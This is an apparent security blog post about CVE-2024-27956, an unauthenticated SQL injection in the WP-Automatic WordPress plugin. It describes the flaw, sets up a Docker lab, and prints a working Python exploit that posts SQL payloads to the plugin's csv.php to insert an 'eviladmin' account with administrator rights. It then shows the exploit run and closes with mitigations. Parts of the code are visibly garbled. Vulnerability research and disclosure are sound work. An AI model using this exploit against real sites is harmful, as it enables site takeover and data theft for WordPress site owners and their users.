CVE-2024-27956: SQL Injection Vulnerability in ValvePress Automatic (WP-Automatic)


CVE-2024-27956 refers to a critical SQL injection (SQLi) vulnerability discovered in the WP-Automatic plugin, a popular content automation tool for WordPress websites. This vulnerability allows unauthenticated attackers to execute arbitrary SQL queries on the affected website's database, potentially leading to complete website compromise.

Technical Details

The vulnerability resides within the user authentication mechanism of the WP-Automatic plugin. Specifically, it is reported to be present in one of the plugin's core files responsible for handling user login requests. The code suffers from improper sanitization of user-provided input, allowing attackers to inject malicious SQL code into the login process.

Attack Scenario

  • Crafting a Malicious Request: An attacker can craft a specially crafted login request containing malicious SQL code. This code could be designed to achieve various malicious goals, such as:

    • Creating new administrator accounts: By injecting SQL queries that manipulate the WordPress user table, attackers can create new user accounts with administrator privileges.

    • Stealing sensitive data: Malicious SQL queries can be used to extract sensitive information from the database, such as usernames, passwords (hashed or in plaintext depending on storage method), and website content.

    • Uploading web shells: Injected SQL can potentially grant attackers the ability to upload malicious files like web shells to the server, allowing for persistent remote access.

  • Exploiting the Vulnerability: When the crafted login request is submitted to the vulnerable plugin, the malicious SQL code bypasses the intended security measures and gets executed directly on the website's database server.

  • Gaining Control: Depending on the attacker's objectives, the injected SQL code can manipulate the database to grant them unauthorized access, steal sensitive data, or establish persistence on the compromised website.


A successful exploit of CVE-2024-27956 can have severe consequences for website owners, including:

  • Website Takeover: Attackers can gain complete control over the compromised website, allowing them to deface it, inject malicious content, or redirect visitors to phishing sites.

  • Data Theft: Sensitive user information, website content, and other confidential data can be stolen by attackers.

  • SEO Spam: Attackers might inject spam content into the website, negatively impacting its Search Engine Optimization (SEO) ranking.

  • Malware Distribution: The compromised website can be used as a platform to distribute malware to unsuspecting visitors.

Exploitation (Proof of Concept)

For proof of concept explanation, we first need to build a lab in our local environment hosting a wordpress instance with vulnerable version of WP Automatic Plugin installed and activated on it. We will use the following docker-compose to host our victim wordpress site on port 8080:

version: '3.1'
    image: wordpress
    restart: always
      - 8080:80
      WORDPRESS_DB_USER: exampleuser
      WORDPRESS_DB_PASSWORD: examplepass
      WORDPRESS_DB_NAME: exampledb
      - wordpress:/var/www/html
    image: mysql:8.0
    restart: always
      MYSQL_DATABASE: exampledb
      MYSQL_USER: exampleuser
      MYSQL_PASSWORD: examplepass
      - db:/var/lib/mysql

Let's start the docker containers:

docker-compose up

We can access our wordpress site on http://localhost:8080 and complete the installation. At the moment, we have only one user in our wordpress user table which is our admin user with administrator's rights as seen here:

Now, let's the following vulnerable version of WP Automatic Plugin and activate it:

At this step, we have our target environment set up for this PoC. Let's use the following python script to exploit CVE-2024-27956 and create us a user with administrator rights to help takeover the site:

import requests
import sys

def makeRequest(payload, hash, url):
    host = url.split('/', 3)[2]
    headers = {
    'Host': host,
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate, br',
    'Content-type': 'application/x-www-form-urlencoded',
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1'
    data = {
    'q': payload,
    'auth': b'\0',
    'integ': hash
    response =, data=data, headers=headers)
    return response

def helpUsage():
    print("[+] You must run the expoit passing the wordpress URL. \n[+] Example: python")

def verifyArgs(argv):
    if len(sys.argv) != 2:

print("[+] Exploit for CVE-2024-27956")
domain = sys.argv[1]
url = domain+'/wp-content/plugins/wp-automatic/inc/csv.php'

#first request (create user)
print("[+] Creating user eviladmin")
response = makeRequest("INSERT INTO wp_users (user_login, user_pass, user_nicename,
user_email, user_url, user_registered, user_status, display_name) VALUES ('eviladmin',
'$P$BASbMqW0nlZRux/2IhCw7AdvoNI4VT0', 'eviladmin', '',
'', '2024-04-30 16:26:43', 0, 'eviladmin')",
"09956ea086b172d6cf8ac31de406c4c0", url)
if "Tampered query" in response.text or "invalid login" in response.text or "login required" in
    print("[+] Error in the payload")

if "DATE" not in response.text:
    print("[+] Not vulnerable")

#second request (give permission)
print("[+] Giving eviladmin administrator permissions")
makeRequest("INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES
((SELECT ID FROM wp_users WHERE user_login = 'eviladmin'), 'wp_capabilities', 'a:1
{s:13:\"administrator\";s:1:\"1\";}')", "bd98494b41544b818fa9f583dadfa2bb", url)
if "Tampered query" in response.text or "invalid login" in response.text or "login required" in
    print("[+] Error in the payload")
print("[+] Exploit completed!")
print("[+] administrator created: eviladmin:admin")

The above script exploits CVE-2024-27956 to insert a malicious administrator user into the WordPress database, effectively gaining unauthorized access to the WordPress site. Here's the breakdown of its functionality:

  • The script prints information about the exploit and the target domain.

  • It constructs the target URL by appending /wp-content/plugins/wp-automatic/inc/csv.php to the provided domain.

  • It makes the first request to insert a malicious user into the WordPress database.

  • If the response indicates success, it proceeds to make a second request to give the inserted user administrator permissions.

  • If both requests are successful, it prints a message indicating the exploit is completed and that an administrator user eviladmin with password admin has been created.

Let's execute the script by providing our hosted wordpress site as the target address:

python3 http://localhost:8080

Let's try to login to the admin panel using the newly created user by our exploit script.

We are able to successfully login to the admin panel of our target wordpress site and taken its full control by exploiting CVE-2024-27956. We can revisit the users page for confirmation of administrator rights being given to the user we just created.


The developers of WP-Automatic have addressed this vulnerability in version It is imperative to update the WP-Automatic plugin to this version or later as soon as possible. Additionally, website owners should consider the following measures:

  • Implement a Web Application Firewall (WAF): A WAF can help to detect and block malicious traffic, including attempts to exploit SQL injection vulnerabilities.

  • Maintain Strong Passwords: Enforce strong password policies for all WordPress user accounts, including administrator accounts.

  • Regular Security Audits: Conduct regular security audits to identify and address potential vulnerabilities on the website.


CVE-2024-27956 is a serious vulnerability that can be exploited by attackers to gain unauthorized access to websites using the WP-Automatic plugin. By promptly updating the plugin, implementing additional security measures, and maintaining good security hygiene, website owners can significantly reduce the risk of compromise.


The information presented in this blog post is for educational purposes only. It is intended to raise awareness about the CVE-2024-27956 vulnerability and help mitigate the risks. It is not intended to be used for malicious purposes.

It's crucial to understand that messing around with vulnerabilities in live systems without permission is not just against the law, but it also comes with serious risks. This blog post does not support or encourage any activities that could help with such unauthorized actions.

Unmasking CVE-2024-28255: Authentication Bypass in OpenMetadata
Unmasking CVE-2024-28255: Authentication Bypass in OpenMetadata
James McGill
CVE-2024-4956: Path Traversal Vulnerability in Sonatype Nexus Repository 3
CVE-2024-4956: Path Traversal Vulnerability in Sonatype Nexus Repository 3
James McGill
CVE-2024-23346: Arbitrary Code Execution in Pymatgen via Insecure Deserialization
CVE-2024-23346: Arbitrary Code Execution in Pymatgen via Insecure Deserialization
James McGill
CVE-2022-44268: Dissecting the ImageMagick Arbitrary File Disclosure Vulnerability
CVE-2022-44268: Dissecting the ImageMagick Arbitrary File Disclosure Vulnerability
James McGill
Spring Cloud Gateway Actuator Code Injection (CVE-2022-22947): A Deeper Dive for Security Researchers
Spring Cloud Gateway Actuator Code Injection (CVE-2022-22947): A Deeper Dive for Security Researchers
James McGill
CVE-2024-22416: CSRF Vulnerability in pyLoad (pyload-ng)
CVE-2024-22416: CSRF Vulnerability in pyLoad (pyload-ng)
James McGill